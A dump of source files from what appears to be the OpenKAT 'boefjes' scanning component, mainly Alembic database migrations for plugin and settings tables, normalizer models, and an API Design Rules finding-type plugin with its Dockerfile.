    "content": "\"\"\"remove the Repository model\n\nRevision ID: 7c88b9cd96aa\nRevises: cd34fdfafdaf\nCreate Date: 2024-05-22 06:48:40.788139\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"7c88b9cd96aa\"\ndown_revision = \"cd34fdfafdaf\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n\n    non_local = op.get_bind().execute(\n        sa.text(\"SELECT * from plugin_state join repository r on repository_pk = r.pk where r.id != 'LOCAL'\")\n    )\n    if len(non_local.fetchall()) > 0:\n        raise Exception(\"Cannot perform migration: remove plugin_states that refer to nonlocal repositories first.\")\n\n    op.drop_constraint(\"unique_plugin_per_repo_per_org\", \"plugin_state\", type_=\"unique\")\n    op.create_unique_constraint(\"unique_plugin_id_per_org\", \"plugin_state\", [\"plugin_id\", \"organisation_pk\"])\n\n    op.drop_constraint(\"plugin_state_repository_pk_fkey\", \"plugin_state\", type_=\"foreignkey\")\n    op.drop_column(\"plugin_state\", \"repository_pk\")\n    op.drop_table(\"organisation_repository\")\n    op.drop_table(\"repository\")\n\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table(\n        \"repository\",\n        sa.Column(\n            \"pk\",\n            sa.INTEGER(),\n            server_default=sa.text(\"nextval('repository_pk_seq'::regclass)\"),\n            autoincrement=True,\n            nullable=False,\n        ),\n        sa.Column(\"id\", sa.VARCHAR(length=32), autoincrement=False, nullable=False),\n        sa.Column(\"name\", sa.VARCHAR(length=64), autoincrement=False, nullable=False),\n        sa.Column(\"base_url\", sa.VARCHAR(length=128), autoincrement=False, nullable=False),\n        sa.PrimaryKeyConstraint(\"pk\", name=\"repository_pkey\"),\n        sa.UniqueConstraint(\"id\", name=\"repository_id\"),\n        postgresql_ignore_search_path=False,\n    )\n    op.create_table(\n        \"organisation_repository\",\n        sa.Column(\"organisation_pk\", sa.INTEGER(), autoincrement=False, nullable=False),\n        sa.Column(\"repository_pk\", sa.INTEGER(), autoincrement=False, nullable=False),\n        sa.ForeignKeyConstraint(\n            [\"organisation_pk\"], [\"organisation.pk\"], name=\"organisation_repository_organisation_pk_fkey\"\n        ),\n        sa.ForeignKeyConstraint(\n            [\"repository_pk\"], [\"repository.pk\"], name=\"organisation_repository_repository_pk_fkey\"\n        ),\n    )\n\n    # Add repository_pk column\n    op.add_column(\"plugin_state\", sa.Column(\"repository_pk\", sa.INTEGER(), autoincrement=False, nullable=True))\n    op.create_foreign_key(\n        \"plugin_state_repository_pk_fkey\", \"plugin_state\", \"repository\", [\"repository_pk\"], [\"pk\"], ondelete=\"CASCADE\"\n    )\n\n    conn = op.get_bind()\n    with conn.begin():\n        conn.execute(\n            sa.text(\n                \"INSERT INTO repository (pk, id, name, base_url) values (1, 'LOCAL', 'Local Plugin Repository', 'http://dev/null')\"\n            )\n        )\n        conn.execute(sa.text(\"UPDATE plugin_state set repository_pk = 1\"))\n\n    op.alter_column(\"plugin_state\", \"repository_pk\", nullable=False)\n    op.drop_constraint(\"unique_plugin_id_per_org\", \"plugin_state\", type_=\"unique\")\n    op.create_unique_constraint(\n        \"unique_plugin_per_repo_per_org\", \"plugin_state\", [\"plugin_id\", \"organisation_pk\", \"repository_pk\"]\n    )\n\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/870fc302b852_remove_environment_keys_field.py",
    "content": "\"\"\"Remove environment keys field\n\nRevision ID: 870fc302b852\nRevises: 5be152459a7b\nCreate Date: 2024-08-20 06:08:20.943924\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"870fc302b852\"\ndown_revision = \"5be152459a7b\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"boefje\", \"environment_keys\")\n    op.drop_column(\"normalizer\", \"environment_keys\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\n        \"normalizer\",\n        sa.Column(\"environment_keys\", postgresql.ARRAY(sa.VARCHAR(length=128)), autoincrement=False, nullable=False),\n    )\n    op.add_column(\n        \"boefje\",\n        sa.Column(\"environment_keys\", postgresql.ARRAY(sa.VARCHAR(length=128)), autoincrement=False, nullable=False),\n    )\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/9f48560b0000_add_schedule_interval_fields.py",
    "content": "\"\"\"Add cron field\n\nRevision ID: 9f48560b0000\nRevises: 870fc302b852\nCreate Date: 2024-09-18 13:12:40.926394\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"9f48560b0000\"\ndown_revision = \"a2c8d54b0124\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\"boefje\", sa.Column(\"cron\", sa.String(length=128), nullable=True))\n    op.add_column(\"boefje\", sa.Column(\"interval\", sa.Integer(), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"boefje\", \"interval\")\n    op.drop_column(\"boefje\", \"cron\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/migrations/versions/a2c8d54b0124_unique_plugin_names.py",
    "content": "\"\"\"Unique plugin names\n\nRevision ID: a2c8d54b0124\nRevises: 870fc302b852\nCreate Date: 2024-09-18 14:46:00.881022\n\n\"\"\"\n\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"a2c8d54b0124\"\ndown_revision = \"870fc302b852\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_unique_constraint(\"unique_boefje_name\", \"boefje\", [\"name\"])\n    op.create_unique_constraint(\"unique_normalizer_name\", \"normalizer\", [\"name\"])\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_constraint(\"unique_normalizer_name\", \"normalizer\", type_=\"unique\")\n    op.drop_constraint(\"unique_boefje_name\", \"boefje\", type_=\"unique\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/cd34fdfafdaf_json_settings_for_settings_table.py",
    "content": "\"\"\"Json settings for settings table\n\nRevision ID: cd34fdfafdaf\nRevises: 197672984df0\nCreate Date: 2023-02-16 14:47:20.424959\n\n\"\"\"\n\nimport json\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.engine import Connection\nfrom sqlalchemy.orm import sessionmaker\n\nfrom boefjes.sql.config_storage import create_encrypter\nfrom boefjes.sql.db import get_engine\n\n# revision identifiers, used by Alembic.\nrevision = \"cd34fdfafdaf\"\ndown_revision = \"197672984df0\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table(\n        \"settings\",\n        sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"values\", sa.String(length=512), nullable=False),\n        sa.Column(\"plugin_id\", sa.String(length=64), nullable=False),\n        sa.Column(\"organisation_pk\", sa.Integer(), nullable=False),\n        sa.ForeignKeyConstraint([\"organisation_pk\"], [\"organisation.pk\"], ondelete=\"CASCADE\"),\n        sa.PrimaryKeyConstraint(\"id\"),\n        sa.UniqueConstraint(\"organisation_pk\", \"plugin_id\", name=\"unique_settings_per_organisation_per_plugin\"),\n    )\n\n    upgrade_encrypted_settings(op.get_bind())\n\n    op.drop_table(\"setting\")\n    # ### end Alembic commands ###\n\n\ndef upgrade_encrypted_settings(conn: Connection) -> None:\n    encrypter = create_encrypter()\n\n    res = conn.execute(\n        sa.text(\n            \"SELECT json_object_agg(key, value) \"\n            \"AS values, plugin_id, organisation_pk FROM setting GROUP BY plugin_id, organisation_pk\"\n        )\n    )\n\n    results = []\n    for result in res.fetchall():\n        new_values = {}\n        for key, value in result[0].items():\n            new_values[key] = encrypter.decode(value)\n\n        new_result = (encrypter.encode(json.dumps(new_values)), result[1], result[2])\n        results.append(new_result)\n\n    # Seed the encrypted original data into the new table\n    for result in results:\n        conn.execute(\n            sa.text(\n                \"INSERT INTO settings (values, plugin_id, organisation_pk) VALUES \"\n                \"(:values, :plugin_id, :organisation_pk)\"\n            ),\n            {\"values\": result[0], \"plugin_id\": result[1], \"organisation_pk\": result[2]},\n        )\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table(\n        \"setting\",\n        sa.Column(\"id\", sa.INTEGER(), autoincrement=True, nullable=False),\n        sa.Column(\"key\", sa.VARCHAR(length=128), autoincrement=False, nullable=False),\n        sa.Column(\"value\", sa.VARCHAR(length=128), autoincrement=False, nullable=False),\n        sa.Column(\"organisation_pk\", sa.INTEGER(), autoincrement=False, nullable=False),\n        sa.Column(\"plugin_id\", sa.VARCHAR(length=64), autoincrement=False, nullable=False),\n        sa.ForeignKeyConstraint(\n            [\"organisation_pk\"], [\"organisation.pk\"], name=\"setting_organisation_pk_fkey\", ondelete=\"CASCADE\"\n        ),\n        sa.PrimaryKeyConstraint(\"id\", name=\"setting_pkey\"),\n        sa.UniqueConstraint(\"key\", \"organisation_pk\", \"plugin_id\", name=\"unique_keys_per_organisation_per_plugin\"),\n    )\n\n    downgrade_encrypted_settings(op.get_bind())\n\n    op.drop_table(\"settings\")\n    # ### end Alembic commands ###\n\n\ndef downgrade_encrypted_settings(conn: Connection) -> None:\n    encrypter = create_encrypter()\n\n    with conn.begin():\n        res = conn.execute(\"SELECT values, plugin_id, organisation_pk from settings\")\n\n        results = []\n        for result in res.fetchall():\n            decoded_values = json.loads(encrypter.decode(result[0]))\n\n            for key, value in decoded_values.items():\n                results.append((key, encrypter.encode(value), result[1], result[2]))\n\n        for result in results:\n            conn.execute(\n                \"INSERT INTO setting (key, value, plugin_id, organisation_pk) VALUES (%s, %s, %s, %s)\",\n                [result[0], result[1], result[2], result[3]],\n            )\n\n\nif __name__ == \"__main__\":\n    \"\"\"Only use this entrypoint when no alembic is used in your setup to keep encrypted settings after this migration\"\"\"\n\n    session = sessionmaker(bind=get_engine())()\n\n    upgrade_encrypted_settings(session.connection())\n    session.commit()\n\n    session.close()\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/f9de6eb7824b_introduce_boefjeconfig_model.py",
    "content": "\"\"\"Introduce BoefjeConfig model\n\nRevision ID: f9de6eb7824b\nRevises: 6f99834a4a5a\nCreate Date: 2024-05-31 10:45:16.474714\n\n\"\"\"\n\nimport logging\n\nimport sqlalchemy as sa\nfrom alembic import op\nfrom psycopg2._json import Json\nfrom psycopg2.extensions import register_adapter\nfrom psycopg2.extras import execute_values\n\nfrom boefjes.worker.models import Boefje, Normalizer\nfrom boefjes.worker.repository import get_local_repository\n\n# revision identifiers, used by Alembic.\nrevision = \"f9de6eb7824b\"\ndown_revision = \"6f99834a4a5a\"\nbranch_labels = None\ndepends_on = None\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table(\n        \"boefje_config\",\n        sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"settings\", sa.String(length=512), nullable=False, server_default=\"{}\"),\n        sa.Column(\"enabled\", sa.Boolean(), nullable=False, server_default=\"false\"),\n        sa.Column(\"boefje_id\", sa.Integer(), nullable=False),\n        sa.Column(\"organisation_pk\", sa.Integer(), nullable=False),\n        sa.ForeignKeyConstraint([\"boefje_id\"], [\"boefje.id\"], ondelete=\"CASCADE\"),\n        sa.ForeignKeyConstraint([\"organisation_pk\"], [\"organisation.pk\"], ondelete=\"CASCADE\"),\n        sa.PrimaryKeyConstraint(\"id\"),\n        sa.UniqueConstraint(\"organisation_pk\", \"boefje_id\", name=\"unique_boefje_config_per_organisation_per_boefje\"),\n    )\n    op.create_table(\n        \"normalizer_config\",\n        sa.Column(\"id\", sa.Integer(), autoincrement=True, nullable=False),\n        sa.Column(\"enabled\", sa.Boolean(), server_default=\"false\", nullable=False),\n        sa.Column(\"normalizer_id\", sa.Integer(), nullable=False),\n        sa.Column(\"organisation_pk\", sa.Integer(), nullable=False),\n        sa.ForeignKeyConstraint([\"normalizer_id\"], [\"normalizer.id\"], ondelete=\"CASCADE\"),\n        sa.ForeignKeyConstraint([\"organisation_pk\"], [\"organisation.pk\"], ondelete=\"CASCADE\"),\n        sa.PrimaryKeyConstraint(\"id\"),\n        sa.UniqueConstraint(\n            \"organisation_pk\", \"normalizer_id\", name=\"unique_normalizer_config_per_organisation_per_normalizer\"\n        ),\n    )\n\n    op.add_column(\"boefje\", sa.Column(\"static\", sa.Boolean(), server_default=\"false\", nullable=False))\n    op.add_column(\"normalizer\", sa.Column(\"static\", sa.Boolean(), server_default=\"false\", nullable=False))\n\n    register_adapter(dict, Json)\n\n    local_plugins = {plugin.id: plugin for plugin in get_local_repository().get_all()}\n    connection = op.get_bind()\n\n    # Get unique plugin_ids from the settings table for boefjes that do not exist yet in the database\n    query = \"\"\"\n    SELECT DISTINCT s.plugin_id FROM settings s left join boefje b on b.plugin_id = s.plugin_id\n        where b.plugin_id IS NULL\n    \"\"\"  # noqa: S608\n\n    to_insert: list[Boefje] = []\n\n    for plugin_id_output in connection.execute(sa.text(query)).fetchall():\n        plugin_id = plugin_id_output[0]\n        if plugin_id not in local_plugins:\n            raise ValueError(f\"Invalid plugin id found: {plugin_id}\")\n\n        # Since settings are boefje-only at this moment\n        if local_plugins[plugin_id].type != \"boefje\":\n            raise ValueError(f\"Settings for normalizer or bit found: {plugin_id}. Remove these entries first.\")\n\n        res = connection.execute(sa.text(f\"SELECT id FROM boefje where plugin_id = '{plugin_id}'\"))  # noqa: S608\n        if res.fetchone() is not None:\n            continue  # The Boefje already exists\n\n        if local_plugins[plugin_id].type == \"boefje\":\n            to_insert.append(local_plugins[plugin_id])\n\n    entries = [\n        (\n            boefje.id,\n            boefje.name,\n            boefje.description,\n            str(boefje.scan_level),\n            list(boefje.consumes),\n            list(boefje.produces),\n            [\"TEST_KEY\"],\n            boefje.oci_image,\n            boefje.oci_arguments,\n            boefje.version,\n        )\n        for boefje in to_insert\n    ]\n    query = \"\"\"INSERT INTO boefje (plugin_id, name, description, scan_level, consumes, produces, environment_keys,\n        oci_image, oci_arguments, version) values %s\"\"\"\n\n    cursor = connection.connection.cursor()\n    execute_values(cursor, query, entries)\n\n    to_insert = []\n\n    query = \"\"\"\n    SELECT DISTINCT p.plugin_id FROM plugin_state p left join boefje b on b.plugin_id = p.plugin_id\n        where b.plugin_id IS NULL\n    \"\"\"\n\n    for plugin_id_output in connection.execute(sa.text(query)).fetchall():\n        plugin_id = plugin_id_output[0]\n        if plugin_id not in local_plugins:\n            logger.warning(\"Unknown plugin id found: %s. You might have to re-enable the plugin!\", plugin_id)\n            continue\n\n        res = connection.execute(sa.text(f\"SELECT id FROM boefje where plugin_id = '{plugin_id}'\"))  # noqa: S608\n        if res.fetchone() is not None:\n            continue  # The Boefje already exists\n\n        if local_plugins[plugin_id].type == \"boefje\":\n            to_insert.append(local_plugins[plugin_id])\n\n    entries = [\n        (\n            boefje.id,\n            boefje.name,\n            boefje.description,\n            str(boefje.scan_level),\n            list(boefje.consumes),\n            list(boefje.produces),\n            [\"TEST_KEY\"],\n            boefje.oci_image,\n            boefje.oci_arguments,\n            boefje.version,\n        )\n        for boefje in to_insert\n    ]\n    query = \"\"\"INSERT INTO boefje (plugin_id, name, description, scan_level, consumes, produces, environment_keys,\n        oci_image, oci_arguments, version) values %s\"\"\"  # noqa: S608\n\n    cursor = connection.connection.cursor()\n    execute_values(cursor, query, entries)\n\n    normalizers_to_insert: list[Normalizer] = []\n    query = \"\"\"\n    SELECT DISTINCT p.plugin_id FROM plugin_state p left join normalizer n on n.plugin_id = p.plugin_id\n        where n.plugin_id IS NULL\n    \"\"\"  # noqa: S608\n\n    for plugin_id_output in connection.execute(sa.text(query)).fetchall():\n        plugin_id = plugin_id_output[0]\n        if plugin_id not in local_plugins:\n            logger.warning(\"Unknown plugin id found: %s. You might have to re-enable the plugin!\", plugin_id)\n            continue\n\n        res = connection.execute(sa.text(f\"SELECT id FROM normalizer where plugin_id = '{plugin_id}'\"))  # noqa: S608\n        if res.fetchone() is not None:\n            continue  # The Normalizer already exists\n\n        if local_plugins[plugin_id].type == \"normalizer\":\n            normalizers_to_insert.append(local_plugins[plugin_id])\n\n    normalizer_entries = [\n        (\n            normalizer.id,\n            normalizer.name,\n            normalizer.description,\n            normalizer.consumes,\n            normalizer.produces,\n            [\"TEST_KEY\"],\n            normalizer.version,\n        )\n        for normalizer in normalizers_to_insert\n    ]\n    query = \"\"\"INSERT INTO normalizer (plugin_id, name, description, consumes, produces, environment_keys, version)\n        values %s\"\"\"  # noqa: S608\n\n    cursor = connection.connection.cursor()\n    execute_values(cursor, query, normalizer_entries)\n\n    connection.execute(\n        sa.text(\"\"\"\n        INSERT INTO boefje_config (settings, boefje_id, organisation_pk)\n        SELECT s.values, b.id, s.organisation_pk from settings s\n        join boefje b on s.plugin_id = b.plugin_id\n    \"\"\")\n    )  # Add boefjes and set the settings for boefjes\n\n    connection.execute(\n        sa.text(\"\"\"\n        INSERT INTO boefje_config (enabled, boefje_id, organisation_pk)\n        SELECT p.enabled, b.id, p.organisation_pk FROM plugin_state p\n        JOIN boefje b ON p.plugin_id = b.plugin_id\n        LEFT JOIN boefje_config bc ON bc.boefje_id = b.id WHERE bc.boefje_id IS NULL\n    \"\"\")\n    )  # Add boefjes and set the enabled field for boefjes that to not exist yet\n    connection.execute(\n        sa.text(\"\"\"\n        UPDATE boefje_config bc SET enabled = p.enabled from plugin_state p\n        JOIN boefje b ON p.plugin_id = b.plugin_id\n        where b.id = bc.boefje_id and p.organisation_pk = bc.organisation_pk\n    \"\"\")\n    )  # Set the enabled field for boefjes\n    connection.execute(\n        sa.text(\"\"\"\n        UPDATE normalizer_config nc SET enabled = p.enabled from plugin_state p\n        JOIN normalizer n ON p.plugin_id = n.plugin_id\n        where n.id = nc.normalizer_id and p.organisation_pk = nc.organisation_pk\n    \"\"\")\n    )  # Set the enabled field for normalizers\n\n    op.drop_table(\"settings\")\n    op.drop_table(\"plugin_state\")\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"normalizer\", \"static\")\n    op.drop_column(\"boefje\", \"static\")\n\n    op.create_table(\n        \"settings\",\n        sa.Column(\"id\", sa.INTEGER(), autoincrement=True, nullable=False),\n        sa.Column(\"values\", sa.VARCHAR(length=512), autoincrement=False, nullable=False),\n        sa.Column(\"plugin_id\", sa.VARCHAR(length=64), autoincrement=False, nullable=False),\n        sa.Column(\"organisation_pk\", sa.INTEGER(), autoincrement=False, nullable=False),\n        sa.ForeignKeyConstraint(\n            [\"organisation_pk\"], [\"organisation.pk\"], name=\"settings_organisation_pk_fkey\", ondelete=\"CASCADE\"\n        ),\n        sa.PrimaryKeyConstraint(\"id\", name=\"settings_pkey\"),\n        sa.UniqueConstraint(\"organisation_pk\", \"plugin_id\", name=\"unique_settings_per_organisation_per_plugin\"),\n    )\n    op.create_table(\n        \"plugin_state\",\n        sa.Column(\"id\", sa.INTEGER(), autoincrement=True, nullable=False),\n        sa.Column(\"plugin_id\", sa.VARCHAR(length=64), autoincrement=False, nullable=False),\n        sa.Column(\"enabled\", sa.BOOLEAN(), autoincrement=False, nullable=False),\n        sa.Column(\"organisation_pk\", sa.INTEGER(), autoincrement=False, nullable=False),\n        sa.ForeignKeyConstraint(\n            [\"organisation_pk\"], [\"organisation.pk\"], name=\"plugin_state_organisation_pk_fkey\", ondelete=\"CASCADE\"\n        ),\n        sa.PrimaryKeyConstraint(\"id\", name=\"plugin_state_pkey\"),\n        sa.UniqueConstraint(\"plugin_id\", \"organisation_pk\", name=\"unique_plugin_id_per_org\"),\n    )\n\n    connection = op.get_bind()\n    with connection.begin():\n        connection.execute(\n            sa.text(\"\"\"\n            INSERT INTO settings (values, plugin_id, organisation_pk)\n            SELECT bc.settings, b.plugin_id, bc.organisation_pk from boefje_config bc\n            join boefje b on bc.boefje_id = b.id\n        \"\"\")\n        )\n\n    with connection.begin():\n        connection.execute(\n            sa.text(\"\"\"\n            INSERT INTO plugin_state (enabled, plugin_id, organisation_pk)\n            SELECT bc.enabled, b.plugin_id, bc.organisation_pk from boefje_config bc\n            join boefje b on bc.boefje_id = b.id\n        \"\"\")\n        )\n\n    with connection.begin():\n        connection.execute(\n            sa.text(\"\"\"\n            INSERT INTO plugin_state (enabled, plugin_id, organisation_pk)\n            SELECT nc.enabled, n.plugin_id, nc.organisation_pk from normalizer_config nc\n            join normalizer n on nc.normalizer_id = n.id\n        \"\"\")\n        )\n\n    op.drop_table(\"boefje_config\")\n    op.drop_table(\"normalizer_config\")\n\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/fc0295b38184_add_run_on_field_to_boefje.py",
    "content": "\"\"\"Add run on field to boefje\n\nRevision ID: fc0295b38184\nRevises: 9f48560b0000\nCreate Date: 2025-02-04 16:43:59.171960\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"fc0295b38184\"\ndown_revision = \"9f48560b0000\"\nbranch_labels = None\ndepends_on = None\n\n\nrun_on = sa.Enum(\"create\", \"update\", \"create_update\", name=\"run_on\")\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    run_on.create(op.get_bind())\n    op.add_column(\"boefje\", sa.Column(\"run_on\", run_on, nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"boefje\", \"run_on\")\n    run_on.drop(op.get_bind(), checkfirst=False)\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/migrations/versions/fdeaea4481b8_add_deduplication_flag.py",
    "content": "\"\"\"Add deduplication flag\n\nRevision ID: fdeaea4481b8\nRevises: fc0295b38184\nCreate Date: 2025-05-28 11:45:16.215166\n\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"fdeaea4481b8\"\ndown_revision = \"fc0295b38184\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\"boefje\", sa.Column(\"deduplicate\", sa.Boolean(), server_default=\"true\", nullable=False))\n    op.add_column(\"organisation\", sa.Column(\"deduplicate\", sa.Boolean(), server_default=\"true\", nullable=False))\n    # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column(\"organisation\", \"deduplicate\")\n    op.drop_column(\"boefje\", \"deduplicate\")\n    # ### end Alembic commands ###\n"
  },
  {
    "path": "boefjes/boefjes/normalizer_interfaces.py",
    "content": "from boefjes.normalizer_models import NormalizerResults\nfrom boefjes.worker.job_models import NormalizerMeta\n\n\nclass NormalizerJobRunner:\n    def run(self, normalizer_meta: NormalizerMeta, raw: bytes) -> NormalizerResults:\n        raise NotImplementedError()\n"
  },
  {
    "path": "boefjes/boefjes/normalizer_models.py",
    "content": "from datetime import datetime\nfrom typing import Literal, TypeAlias\n\nfrom pydantic import BaseModel\n\nfrom octopoes.models import DeclaredScanProfile\nfrom octopoes.models.types import OOIType\n\n\nclass NormalizerObservation(BaseModel):\n    type: Literal[\"observation\"] = \"observation\"\n    input_ooi: str\n    results: list[OOIType]\n\n\nclass NormalizerDeclaration(BaseModel):\n    type: Literal[\"declaration\"] = \"declaration\"\n    ooi: OOIType\n    end_valid_time: datetime | None = None\n\n\nclass NormalizerAffirmation(BaseModel):\n    type: Literal[\"affirmation\"] = \"affirmation\"\n    ooi: OOIType\n\n\nclass NormalizerResults(BaseModel):\n    observations: list[NormalizerObservation] = []\n    declarations: list[NormalizerDeclaration] = []\n    affirmations: list[NormalizerAffirmation] = []\n    scan_profiles: list[DeclaredScanProfile] = []\n\n\nNormalizerOutput: TypeAlias = OOIType | NormalizerDeclaration | NormalizerAffirmation | DeclaredScanProfile\n"
  },
  {
    "path": "boefjes/boefjes/plugins/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/helpers.py",
    "content": "def cpe_to_name_version(cpe: str) -> tuple[str | None, str | None]:\n    \"\"\"Fetch the software name and version from a CPE string.\"\"\"\n    cpe_split = cpe.split(\":\")\n    cpe_split_len = len(cpe_split)\n    name = None if cpe_split_len < 4 else cpe_split[3]\n    version = None if cpe_split_len < 5 else cpe_split[4]\n    return name, version\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_finding_types/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_finding_types/adr_finding_types.json",
    "content": "{\n  \"API-NONSTANDARD-HTTP\": {\n    \"description\": \"Only apply standard HTTP methods\",\n    \"risk\": \"Recommendation\"\n  },\n  \"API-NO-OPENAPI\": {\n    \"description\": \"Use OpenAPI Specification for documentation\",\n    \"risk\": \"Recommendation\"\n  },\n  \"API-NO-MAJOR-VERSION-IN-URI\": {\n    \"description\": \"Include the major version number in the URI\",\n    \"risk\": \"Recommendation\"\n  },\n  \"API-TRAILING-SLASHES\": {\n    \"description\": \"Leave off trailing slashes from URIs\",\n    \"risk\": \"Recommendation\"\n  },\n  \"API-NO-OAS-JSON-STANDARD\": {\n    \"description\": \"Publish OAS document at a standard location in JSON-format\",\n    \"risk\": \"Recommendation\"\n  },\n  \"API-NO-SEMANTIC-VERSIONING\": {\n    \"description\": \"Adhere to the Semantic Versioning model when releasing API changes\",\n    \"risk\": \"Recommendation\"\n  },\n  \"API-NO-COMPLETE-VERSION-RESPONSE\": {\n    \"description\": \"Return the full version number in a response header\",\n    \"risk\": \"Recommendation\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_finding_types/boefje.json",
    "content": "{\n  \"id\": \"adr-finding-types\",\n  \"name\": \"ADR Finding Types\",\n  \"description\": \"Hydrate information on API Design Rules (ADR) finding types for common design mistakes.\",\n  \"consumes\": [\n    \"ADRFindingType\"\n  ],\n  \"scan_level\": 0,\n  \"enabled\": true,\n  \"oci_image\": \"docker.underdark.nl/librekat/openkat-generic:latest\",\n  \"oci_arguments\": [\n    \"kat_adr_finding_types.main\"\n  ]\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_finding_types/description.md",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_finding_types/main.py",
    "content": "import json\n\nFINDING_TYPE_PATH = \"boefjes/plugins/kat_adr_finding_types/adr_finding_types.json\"\n\n\ndef run(boefje_meta: dict) -> list[tuple[set, bytes | str]]:\n    with open(FINDING_TYPE_PATH) as json_file:\n        data = json.load(json_file)\n        return [(set(), json.dumps(data))]\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_finding_types/normalize.py",
    "content": "import json\nimport logging\nfrom collections.abc import Iterable\n\nfrom boefjes.normalizer_models import NormalizerAffirmation, NormalizerOutput\nfrom octopoes.models.ooi.findings import ADRFindingType, RiskLevelSeverity\n\nlogger = logging.getLogger(__name__)\n\n\nSEVERITY_SCORE_LOOKUP = {\n    RiskLevelSeverity.CRITICAL: 10.0,\n    RiskLevelSeverity.HIGH: 8.9,\n    RiskLevelSeverity.MEDIUM: 6.9,\n    RiskLevelSeverity.LOW: 3.9,\n    RiskLevelSeverity.RECOMMENDATION: 0.0,\n}\n\n\ndef run(input_ooi: dict, raw: bytes) -> Iterable[NormalizerOutput]:\n    adr_finding_type_id = input_ooi[\"id\"]\n    data = json.loads(raw)\n\n    finding_type_information = data[adr_finding_type_id]\n    risk_severity = RiskLevelSeverity(finding_type_information[\"risk\"].lower())\n\n    risk_score = SEVERITY_SCORE_LOOKUP[risk_severity]\n\n    yield NormalizerAffirmation(\n        ooi=ADRFindingType(\n            id=adr_finding_type_id,\n            description=finding_type_information[\"description\"],\n            risk_severity=risk_severity,\n            risk_score=risk_score,\n        )\n    )\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_finding_types/normalizer.json",
    "content": "{\n  \"id\": \"kat_adr_finding_types_normalize\",\n  \"name\": \"API Design Rules (ADR) Finding Types\",\n  \"description\": \"Parse API Design Rules (ADR) finding types.\",\n  \"consumes\": [\n    \"boefje/adr-finding-types\"\n  ],\n  \"produces\": [\n    \"ADRFindingType\"\n  ],\n  \"enabled\": true\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_validator/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/boefjes/plugins/kat_adr_validator/boefje.Dockerfile",
    "content": "FROM openkat/boefje-base:latest\n\nARG OCI_IMAGE=ghcr.io/minvws/openkat/dns-sec:latest\nENV OCI_IMAGE=$OCI_IMAGE\n\nCOPY --from=registry.gitlab.com/commonground/don/adr-validator:0.2.0 /usr/local/bin/adr-validator /usr/local/bin/\n\nCOPY ./boefjes/plugins/kat_adr_validator ./kat_adr_validator\n"
  },
  {
